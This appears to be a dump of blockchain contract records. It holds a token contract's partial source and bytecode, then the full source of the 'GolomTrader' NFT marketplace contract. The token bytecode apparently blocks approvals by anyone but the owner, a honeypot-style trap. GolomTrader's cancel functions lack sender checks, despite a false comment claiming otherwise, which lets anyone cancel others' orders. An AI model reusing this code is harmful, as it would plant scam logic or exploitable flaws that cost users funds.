_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212204cc2bba59237f43438433f963d2c8ec9d72f19e18519d718ccba8157e1c7971564736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 2,494 |
0x3fac5033916852d3e2781e17f7e6155e9828d706
|
/**
*Submitted for verification at Etherscan.io on 2022-01-13
*/
pragma solidity 0.6.0;
interface ERC721 {
function safeTransferFrom(address from,address to,uint256 tokenId) external;
}
interface ERC20 {
function transferFrom(address src, address dst, uint wad)
external
returns (bool);
}
contract GolomTrader {
mapping(bytes32 => bool) public orderhashes; // keep tracks of orderhashes that are filled or cancelled so they cant be filled again
mapping(bytes32 => bool) public offerhashes; // keep tracks of offerhashes that are filled or cancelled so they cant be filled again
address payable owner;
ERC20 wethcontract;
event Orderfilled(address indexed from,address indexed to, bytes32 indexed id, uint ethAmt,address refferer,uint feeAmt,uint royaltyAmt,address royaltyAddress,bool isPrivate);
event Offerfilled(address indexed from,address indexed to, bytes32 indexed id, uint ethAmt,uint feeAmt,uint royaltyAmt,address royaltyAddress,bool isAny);
event Ordercancelled(bytes32 indexed id);
event Offercancelled(bytes32 indexed id);
constructor ()
public
{
owner = payable(msg.sender);
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
wethcontract = ERC20(WETH);
}
/// @notice returns eip712domainhash
function _eip712DomainHash() internal view returns(bytes32 eip712DomainHash) {
eip712DomainHash = keccak256(
abi.encode(
keccak256(
"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"
),
keccak256(bytes("GOLOM.IO")),
keccak256(bytes("1")),
1,
address(this)
)
);
}
/// @notice called by buyer of ERC721 nft with a valid signature from seller of nft and sending the correct eth in the transaction
/// @param v,r,s EIP712 type signature of signer/seller
/// @param _addressArgs[4] address arguments array
/// @param _uintArgs[6] uint arguments array
/// @dev addressargs->//0 - tokenAddress,//1 - signer,//2 - royaltyaddress,//3 - reffereraddress
/// @dev uintArgs->//0-tokenId ,//1-amount,//2-deadline,//3-feeamt,//4-salt,//5-royaltyamt
/// @dev ethAmt, amount of ether in wei that the seller gets
/// @dev deadline, deadline till order is valid
/// @dev feeamt fee to be paid to owner of contract
/// @dev signer seller of nft and signer of signature
/// @dev salt salt for uniqueness of the order
/// @dev refferer address that reffered the trade
function matchOrder(
uint8 v,
bytes32 r,
bytes32 s,
address[4] calldata _addressArgs,
uint[6] calldata _uintArgs
) external payable {
require(block.timestamp < _uintArgs[2], "Signed transaction expired");
bytes32 hashStruct = keccak256(
abi.encode(
keccak256("matchorder(address tokenAddress,uint tokenId,uint ethAmt,uint deadline,uint feeAmt,address signer,uint salt,address royaltyAddress,uint royaltyAmt)"),
_addressArgs[0],
_uintArgs[0],
_uintArgs[1],
_uintArgs[2],
_uintArgs[3],
_addressArgs[1],
_uintArgs[4],
_addressArgs[2],
_uintArgs[5]
)
);
bytes32 hash = keccak256(abi.encodePacked("\x19\x01", _eip712DomainHash(), hashStruct));
address signaturesigner = ecrecover(hash, v, r, s);
require(signaturesigner == _addressArgs[1], "invalid signature");
require(msg.value == _uintArgs[1], "wrong eth amt");
require(orderhashes[hashStruct]==false,"order filled or cancelled");
orderhashes[hashStruct]=true; // prevent reentrency and also doesnt allow any order to be filled more then once
ERC721 nftcontract = ERC721(_addressArgs[0]);
nftcontract.safeTransferFrom(_addressArgs[1],msg.sender ,_uintArgs[0]); // transfer
if (_uintArgs[3]>0){
owner.transfer(_uintArgs[3]); // fee transfer to owner
}
if (_uintArgs[5]>0){ // if royalty has to be paid
payable(_addressArgs[2]).transfer(_uintArgs[5]); // royalty transfer to royaltyaddress
}
payable(_addressArgs[1]).transfer(msg.value-_uintArgs[3]-_uintArgs[5]); // transfer of eth to seller of nft
emit Orderfilled(_addressArgs[1], msg.sender, hashStruct , _uintArgs[1] , _addressArgs[3] ,_uintArgs[3],_uintArgs[5],_addressArgs[2],false);
}
/// @notice invalidates an offchain order signature so it cant be filled by anyone
/// @param _addressArgs[4] address arguments array
/// @param _uintArgs[6] uint arguments array
/// @dev addressargs->//0 - tokenAddress,//1 - signer,//2 - royaltyAddress,//3 - reffereraddress
/// @dev uintArgs->//0-tokenid ,//1-ethAmt,//2-deadline,//3-feeAmt,//4-salt,//5-royaltyAmt
function cancelOrder(
address[4] calldata _addressArgs,
uint[6] calldata _uintArgs
) external{
bytes32 hashStruct = keccak256(
abi.encode(
keccak256("matchorder(address tokenAddress,uint tokenId,uint ethAmt,uint deadline,uint feeAmt,address signer,uint salt,address royaltyAddress,uint royaltyAmt)"),
_addressArgs[0],
_uintArgs[0],
_uintArgs[1],
_uintArgs[2],
_uintArgs[3],
_addressArgs[1],
_uintArgs[4],
_addressArgs[2],
_uintArgs[5]
)
);
orderhashes[hashStruct]=true; // no need to check for signature validation since sender can only invalidate his own order
emit Offercancelled(hashStruct);
}
/// @notice same as order but only vald for 1 orderfiller address
/// @param v,r,s EIP712 type signature of signer/seller
/// @param _addressArgs[4] address arguments array
/// @param _uintArgs[6] uint arguments array
/// @dev addressargs->//0 - contractaddress,//1 - signer,//2 - royaltyaddress,//3 - reffereraddress// 4 - orderFillerAddress
/// @dev uintArgs->//0-tokenid ,//1-ethamt,//2-deadline,//3-feeamt,//4-salt,//5-royaltyamt
function privateMatchOrder
(
uint8 v,
bytes32 r,
bytes32 s,
address[5] calldata _addressArgs,
uint[6] calldata _uintArgs
) external payable {
require(block.timestamp < _uintArgs[2], "Signed transaction expired");
bytes32 hashStruct = keccak256(
abi.encode(
keccak256("matchorder(address tokenAddress,uint tokenId,uint ethAmt,uint deadline,uint feeAmt,address signer,uint salt,address royaltyAddress,uint royaltyAmt,address orderFillerAddress)"),
_addressArgs[0],
_uintArgs[0],
_uintArgs[1],
_uintArgs[2],
_uintArgs[3],
_addressArgs[1],
_uintArgs[4],
_addressArgs[2],
_uintArgs[5],
_addressArgs[4]
)
);
bytes32 hash = keccak256(abi.encodePacked("\x19\x01", _eip712DomainHash(), hashStruct));
address signaturesigner = ecrecover(hash, v, r, s);
require(msg.sender==_addressArgs[4],"not fillable by this address");
require(signaturesigner == _addressArgs[1], "invalid signature");
require(msg.value == _uintArgs[1], "wrong eth amt");
require(orderhashes[hashStruct]==false,"order filled or cancelled");
orderhashes[hashStruct]=true; // prevent reentrency and also doesnt allow any order to be filled more then once
ERC721 nftcontract = ERC721(_addressArgs[0]);
nftcontract.safeTransferFrom(_addressArgs[1],msg.sender ,_uintArgs[0]); // transfer
if (_uintArgs[3]>0){
owner.transfer(_uintArgs[3]); // fee transfer to owner
}
if (_uintArgs[5]>0){ // if royalty has to be paid
payable(_addressArgs[2]).transfer(_uintArgs[5]); // royalty transfer to royaltyaddress
}
payable(_addressArgs[1]).transfer(msg.value-_uintArgs[3]-_uintArgs[5]); // transfer of eth to seller of nft
emit Orderfilled(_addressArgs[1], msg.sender, hashStruct , _uintArgs[1] , _addressArgs[3] ,_uintArgs[3],_uintArgs[5],_addressArgs[2],true);
}
/// @notice invalidates an offchain order signature so it cant be filled by anyone
/// @param _addressArgs[4] address arguments array
/// @param _uintArgs[6] uint arguments array
/// @dev addressargs->//0 - contractaddress,//1 - signer,//2 - royaltyaddress,//3 - reffereraddress// 4 - orderfiller
/// @dev uintArgs->//0-tokenid ,//1-ethamt,//2-deadline,//3-feeamt,//4-salt,//5-royaltyamt
function cancelPrivateOrder(
address[5] calldata _addressArgs,
uint[6] calldata _uintArgs
) external{
bytes32 hashStruct = keccak256(
abi.encode(
keccak256("matchorder(address tokenAddress,uint tokenId,uint ethAmt,uint deadline,uint feeAmt,address signer,uint salt,address royaltyAddress,uint royaltyAmt,address orderFillerAddress)"),
_addressArgs[0],
_uintArgs[0],
_uintArgs[1],
_uintArgs[2],
_uintArgs[3],
_addressArgs[1],
_uintArgs[4],
_addressArgs[2],
_uintArgs[5],
_addressArgs[4]
)
);
orderhashes[hashStruct]=true; // no need to check for signature validation since sender can only invalidate his own order
emit Offercancelled(hashStruct);
}
/// @notice called by seller of ERc721NFT when he sees a signed buy offer of ethamt ETH
/// @param v,r,s EIP712 type signature of signer/seller
/// @param _addressArgs[3] address arguments array
/// @param _uintArgs[6] uint arguments array
/// @dev addressargs->//0 - tokenAddress,//1 - signer,//2 - royaltyaddress
/// @dev uintArgs->//0-tokenId ,//1-ethamt,//2-deadline,//3-feeamt,//4-salt,//5-royaltyamt
function matchOffer(
uint8 v,
bytes32 r,
bytes32 s,
address[3] calldata _addressArgs,
uint[6] calldata _uintArgs
) external {
require(block.timestamp < _uintArgs[2], "Signed transaction expired");
bytes32 hashStruct = keccak256(
abi.encode(
keccak256("matchoffer(address tokenAddress,uint tokenId,uint ethAmt,uint deadline,uint feeAmt,address signer,uint salt)"),
_addressArgs[0],
_uintArgs[0],
_uintArgs[1],
_uintArgs[2],
_uintArgs[3],
_addressArgs[1],
_uintArgs[4]
)
);
bytes32 hash = keccak256(abi.encodePacked("\x19\x01", _eip712DomainHash(), hashStruct));
address signaturesigner = ecrecover(hash, v, r, s);
require(signaturesigner == _addressArgs[1], "invalid signature");
require(offerhashes[hashStruct]==false,"order filled or cancelled");
offerhashes[hashStruct]=true;
if (_uintArgs[3]>0){
require(wethcontract.transferFrom(_addressArgs[1], owner , _uintArgs[3]),"error in weth transfer");
}
if (_uintArgs[5]>0){
require(wethcontract.transferFrom(_addressArgs[1], _addressArgs[2] , _uintArgs[5]),"error in weth transfer");
}
require(wethcontract.transferFrom(_addressArgs[1], msg.sender, _uintArgs[1]-_uintArgs[5]-_uintArgs[3]),"error in weth transfer");
ERC721 nftcontract = ERC721(_addressArgs[0]);
nftcontract.safeTransferFrom(msg.sender,_addressArgs[1] ,_uintArgs[0]);
emit Offerfilled(_addressArgs[1], msg.sender, hashStruct , _uintArgs[1] ,_uintArgs[3],_uintArgs[5],_addressArgs[2],false);
}
/// @notice invalidates an offchain offer signature so it cant be filled by anyone
function cancelOffer(
address[3] calldata _addressArgs,
uint[6] calldata _uintArgs
) external{
bytes32 hashStruct = keccak256(
abi.encode(
keccak256("matchoffer(address tokenAddress,uint tokenId,uint ethAmt,uint deadline,uint feeAmt,address signer,uint salt)"),
_addressArgs[0],
_uintArgs[0],
_uintArgs[1],
_uintArgs[2],
_uintArgs[3],
_addressArgs[1],
_uintArgs[4]
)
);
offerhashes[hashStruct]=true;
emit Offercancelled(hashStruct);
}
/// @notice called by seller of ERc721NFT when he sees a signed buy offer, this is for any tokenid of a particular collection(floor buyer)
/// @param v,r,s EIP712 type signature of signer/seller
/// @param _addressArgs[3] address arguments array
/// @param _uintArgs[6] uint arguments array
/// @dev addressargs->//0 - tokenAddress,//1 - signer,//2 - royaltyaddress
/// @dev uintArgs->//0-tokenid ,//1-ethamt,//2-deadline,//3-feeamt,//4-salt,//5-royaltyamt
function matchOfferAny(
uint8 v,
bytes32 r,
bytes32 s,
address[3] calldata _addressArgs,
uint[6] calldata _uintArgs
) external {
require(block.timestamp < _uintArgs[2], "Signed transaction expired");
// the hash here doesnt take tokenid so allows seller to fill the offer with any token id of the collection (floor buyer)
bytes32 hashStruct = keccak256(
abi.encode(
keccak256("matchoffer(address tokenAddress,uint ethamt,uint deadline,uint feeAmt,address signer,uint salt)"),
_addressArgs[0],
_uintArgs[1],
_uintArgs[2],
_uintArgs[3],
_addressArgs[1],
_uintArgs[4]
)
);
bytes32 hash = keccak256(abi.encodePacked("\x19\x01", _eip712DomainHash(), hashStruct));
address signaturesigner = ecrecover(hash, v, r, s);
require(signaturesigner == _addressArgs[1], "invalid signature");
require(offerhashes[hashStruct]==false,"order filled or cancelled");
offerhashes[hashStruct]=true;
if (_uintArgs[3]>0){
require(wethcontract.transferFrom(_addressArgs[1], owner , _uintArgs[3]),"error in weth transfer");
}
if (_uintArgs[5]>0){
require(wethcontract.transferFrom(_addressArgs[1], _addressArgs[2] , _uintArgs[5]),"error in weth transfer");
}
require(wethcontract.transferFrom(_addressArgs[1], msg.sender, _uintArgs[1]-_uintArgs[5]-_uintArgs[3]),"error in weth transfer");
ERC721 nftcontract = ERC721(_addressArgs[0]);
nftcontract.safeTransferFrom(msg.sender,_addressArgs[1] ,_uintArgs[0]);
emit Offerfilled(_addressArgs[1], msg.sender, hashStruct , _uintArgs[1] ,_uintArgs[3],_uintArgs[5],_addressArgs[2],true);
}
/// @notice invalidates an offchain offerany signature so it cant be filled by anyone
function cancelOfferAny(
address[3] calldata _addressArgs,
uint[6] calldata _uintArgs
) external{
bytes32 hashStruct = keccak256(
abi.encode(
keccak256("matchoffer(address tokenAddress,uint ethamt,uint deadline,uint feeAmt,address signer,uint salt)"),
_addressArgs[0],
_uintArgs[1],
_uintArgs[2],
_uintArgs[3],
_addressArgs[1],
_uintArgs[4]
)
);
offerhashes[hashStruct]=true;
emit Offercancelled(hashStruct);
}
///@notice returns Keccak256 hash of an order
function orderHash(
address[4] memory _addressArgs,
uint[6] memory _uintArgs
) public pure returns (bytes32) {
return keccak256(
abi.encode(
keccak256("matchorder(address tokenAddress,uint tokenId,uint ethAmt,uint deadline,uint feeAmt,address signer,uint salt,address royaltyAddress,uint royaltyAmt)"),
_addressArgs[0],
_uintArgs[0],
_uintArgs[1],
_uintArgs[2],
_uintArgs[3],
_addressArgs[1],
_uintArgs[4],
_addressArgs[2],
_uintArgs[5]
)
);
}
///@notice returns Keccak256 hash of an order
function privateOrderHash(
address[5] memory _addressArgs,
uint[6] memory _uintArgs
) public pure returns (bytes32) {
return keccak256(
abi.encode(
keccak256("matchorder(address tokenAddress,uint tokenId,uint ethAmt,uint deadline,uint feeAmt,address signer,uint salt,address royaltyAddress,uint royaltyAmt,address orderFillerAddress)"),
_addressArgs[0],
_uintArgs[0],
_uintArgs[1],
_uintArgs[2],
_uintArgs[3],
_addressArgs[1],
_uintArgs[4],
_addressArgs[2],
_uintArgs[5],
_addressArgs[4]
)
);
}
///@notice returns Keccak256 hash of an offer
function offerHash(
address[3] memory _addressArgs,
uint[6] memory _uintArgs
) public pure returns (bytes32) {
return keccak256(
abi.encode(
keccak256("matchoffer(address tokenAddress,uint tokenId,uint ethAmt,uint deadline,uint feeAmt,address signer,uint salt)"),
_addressArgs[0],
_uintArgs[0],
_uintArgs[1],
_uintArgs[2],
_uintArgs[3],
_addressArgs[1],
_uintArgs[4],
_addressArgs[2],
_uintArgs[5]
)
);
}
///@notice returns Keccak256 hash of an offerAny
function offerAnyHash(
address[3] memory _addressArgs,
uint[6] memory _uintArgs
) public pure returns (bytes32) {
return keccak256(
abi.encode(
keccak256("matchoffer(address tokenAddress,uint ethamt,uint deadline,uint feeAmt,address signer,uint salt)"),
_addressArgs[0],
_uintArgs[1],
_uintArgs[2],
_uintArgs[3],
_addressArgs[1],
_uintArgs[4]
)
);
}
// ALREADY FILLED OR CANCELLED - 1
// deadline PASSED- 2 EXPIRED
// sign INVALID - 0
// VALID - 3
/// @notice returns status of an order
/// @param v,r,s EIP712 type signature of signer/seller
/// @param _addressArgs[4] address arguments array
/// @param _uintArgs[6] uint arguments array
/// @dev addressargs->//0 - contractaddress,//1 - signer,//2 - royaltyaddress,//3 - reffereraddress
/// @dev uintArgs->//0-tokenid ,//1-ethamt,//2-deadline,//3-feeamt,//4-salt,//5-royaltyamt
function orderStatus(
uint8 v,
bytes32 r,
bytes32 s,
address[4] memory _addressArgs,
uint[6] memory _uintArgs
) public view returns (uint256) {
if (block.timestamp > _uintArgs[2]){
return 2;
}
bytes32 hashStruct = keccak256(
abi.encode(
keccak256("matchorder(address tokenAddress,uint tokenId,uint ethAmt,uint deadline,uint feeAmt,address signer,uint salt,address royaltyAddress,uint royaltyAmt)"),
_addressArgs[0],
_uintArgs[0],
_uintArgs[1],
_uintArgs[2],
_uintArgs[3],
_addressArgs[1],
_uintArgs[4],
_addressArgs[2],
_uintArgs[5]
)
);
bytes32 hash = keccak256(abi.encodePacked("\x19\x01", _eip712DomainHash(), hashStruct));
address signaturesigner = ecrecover(hash, v, r, s);
if (signaturesigner != _addressArgs[1]){
return 0;
}
if (orderhashes[hashStruct]==true){
return 1;
}
return 3;
}
// ALREADY FILLED OR CANCELLED - 1
// deadline PASSED- 2 EXPIRED
// sign INVALID - 0
// VALID - 3
function privateOrderStatus(
uint8 v,
bytes32 r,
bytes32 s,
address[5] memory _addressArgs,
uint[6] memory _uintArgs
) public view returns (uint256) {
if (block.timestamp > _uintArgs[2]){
return 2;
}
bytes32 hashStruct = keccak256(
abi.encode(
keccak256("matchorder(address tokenAddress,uint tokenId,uint ethAmt,uint deadline,uint feeAmt,address signer,uint salt,address royaltyAddress,uint royaltyAmt,address orderFillerAddress)"),
_addressArgs[0],
_uintArgs[0],
_uintArgs[1],
_uintArgs[2],
_uintArgs[3],
_addressArgs[1],
_uintArgs[4],
_addressArgs[2],
_uintArgs[5],
_addressArgs[4]
)
);
bytes32 hash = keccak256(abi.encodePacked("\x19\x01", _eip712DomainHash(), hashStruct));
address signaturesigner = ecrecover(hash, v, r, s);
if (signaturesigner != _addressArgs[1]){
return 0;
}
if (orderhashes[hashStruct]==true){
return 1;
}
return 3;
}
// ALREADY FILLED OR CANCELLED - 1
// deadline PASSED- 2 EXPIRED
// sign INVALID - 0
// VALID - 3
/// @notice returns status of an order
function offerStatus(
uint8 v,
bytes32 r,
bytes32 s,
address[3] memory _addressArgs,
uint[6] memory _uintArgs
) public view returns (uint256) {
if (block.timestamp > _uintArgs[2]){
return 2;
}
bytes32 hashStruct = keccak256(
abi.encode(
keccak256("matchoffer(address tokenAddress,uint tokenId,uint ethAmt,uint deadline,uint feeAmt,address signer,uint salt)"),
_addressArgs[0],
_uintArgs[0],
_uintArgs[1],
_uintArgs[2],
_uintArgs[3],
_addressArgs[1],
_uintArgs[4]
)
);
bytes32 hash = keccak256(abi.encodePacked("\x19\x01", _eip712DomainHash(), hashStruct));
address signaturesigner = ecrecover(hash, v, r, s);
if (signaturesigner != _addressArgs[1]){
return 0;
}
if (offerhashes[hashStruct]==true){
return 1;
}
return 3;
}
// ALREADY FILLED OR CANCELLED - 1
// deadline PASSED- 2 EXPIRED
// sign INVALID - 0
// VALID - 3
/// @notice returns status of an order
function offerAnyStatus(
uint8 v,
bytes32 r,
bytes32 s,
address[3] memory _addressArgs,
uint[6] memory _uintArgs
) public view returns (uint256) {
if (block.timestamp > _uintArgs[2]){
return 2;
}
bytes32 hashStruct = keccak256(
abi.encode(
keccak256("matchoffer(address tokenAddress,uint ethamt,uint deadline,uint feeAmt,address signer,uint salt)"),
_addressArgs[0],
_uintArgs[1],
_uintArgs[2],
_uintArgs[3],
_addressArgs[1],
_uintArgs[4]
)
);
bytes32 hash = keccak256(abi.encodePacked("\x19\x01", _eip712DomainHash(), hashStruct));
address signaturesigner = ecrecover(hash, v, r, s);
if (signaturesigner != _addressArgs[1]){
return 0;
}
if (offerhashes[hashStruct]==true){
return 1;
}
return 3;
}
}
|
0x6080604052600436106101095760003560e01c80638d14b2a811610095578063e347dcb011610064578063e347dcb0146108e3578063efecedef14610936578063f1aa568114610a1f578063f1c3c2e914610a86578063fb8a5ab914610acc57610109565b80638d14b2a814610714578063c875a7f41461075a578063cf96dd30146107b4578063de5c2a541461087c57610109565b80634b6d334e116100dc5780634b6d334e1461035f57806351e292b8146104275780635acec2201461051057806362ff1a37146105f95780637a33c2811461064c57610109565b806311bd98af1461010e5780631665230f146101f75780631edcd0d5146102515780633dbaf19114610319575b600080fd5b34801561011a57600080fd5b506101e160048036036101a081101561013257600080fd5b81019080803560ff169060200190929190803590602001909291908035906020019092919080608001906004806020026040519081016040528092919082600460200280828437600081840152601f19601f82011690508083019250505050505091929192908060c001906006806020026040519081016040528092919082600660200280828437600081840152601f19601f8201169050808301925050505050509192919290505050610b12565b6040518082815260200191505060405180910390f35b61024f60048036036101a081101561020e57600080fd5b81019080803560ff1690602001909291908035906020019092919080359060200190929190806080019091929192908060c001909192919290505050610e44565b005b34801561025d57600080fd5b50610303600480360361014081101561027557600080fd5b8101908080608001906004806020026040519081016040528092919082600460200280828437600081840152601f19601f82011690508083019250505050505091929192908060c001906006806020026040519081016040528092919082600660200280828437600081840152601f19601f820116905080830192505050505050919291929050505061182b565b6040518082815260200191505060405180910390f35b34801561032557600080fd5b5061035d600480360361016081101561033d57600080fd5b810190808060a0019091929192908060c0019091929192905050506119d9565b005b34801561036b57600080fd5b50610411600480360361012081101561038357600080fd5b8101908080606001906003806020026040519081016040528092919082600360200280828437600081840152601f19601f82011690508083019250505050505091929192908060c001906006806020026040519081016040528092919082600660200280828437600081840152601f19601f8201169050808301925050505050509192919290505050611c7b565b6040518082815260200191505060405180910390f35b34801561043357600080fd5b506104fa600480360361018081101561044b57600080fd5b81019080803560ff169060200190929190803590602001909291908035906020019092919080606001906003806020026040519081016040528092919082600360200280828437600081840152601f19601f82011690508083019250505050505091929192908060c001906006806020026040519081016040528092919082600660200280828437600081840152601f19601f8201169050808301925050505050509192919290505050611e29565b6040518082815260200191505060405180910390f35b34801561051c57600080fd5b506105e360048036036101c081101561053457600080fd5b81019080803560ff16906020019092919080359060200190929190803590602001909291908060a001906005806020026040519081016040528092919082600560200280828437600081840152601f19601f82011690508083019250505050505091929192908060c001906006806020026040519081016040528092919082600660200280828437600081840152601f19601f82011690508083019250505050505091929192905050506120fe565b6040518082815260200191505060405180910390f35b34801561060557600080fd5b506106326004803603602081101561061c57600080fd5b8101908080359060200190929190505050612475565b604051808215151515815260200191505060405180910390f35b34801561065857600080fd5b506106fe600480360361012081101561067057600080fd5b810190808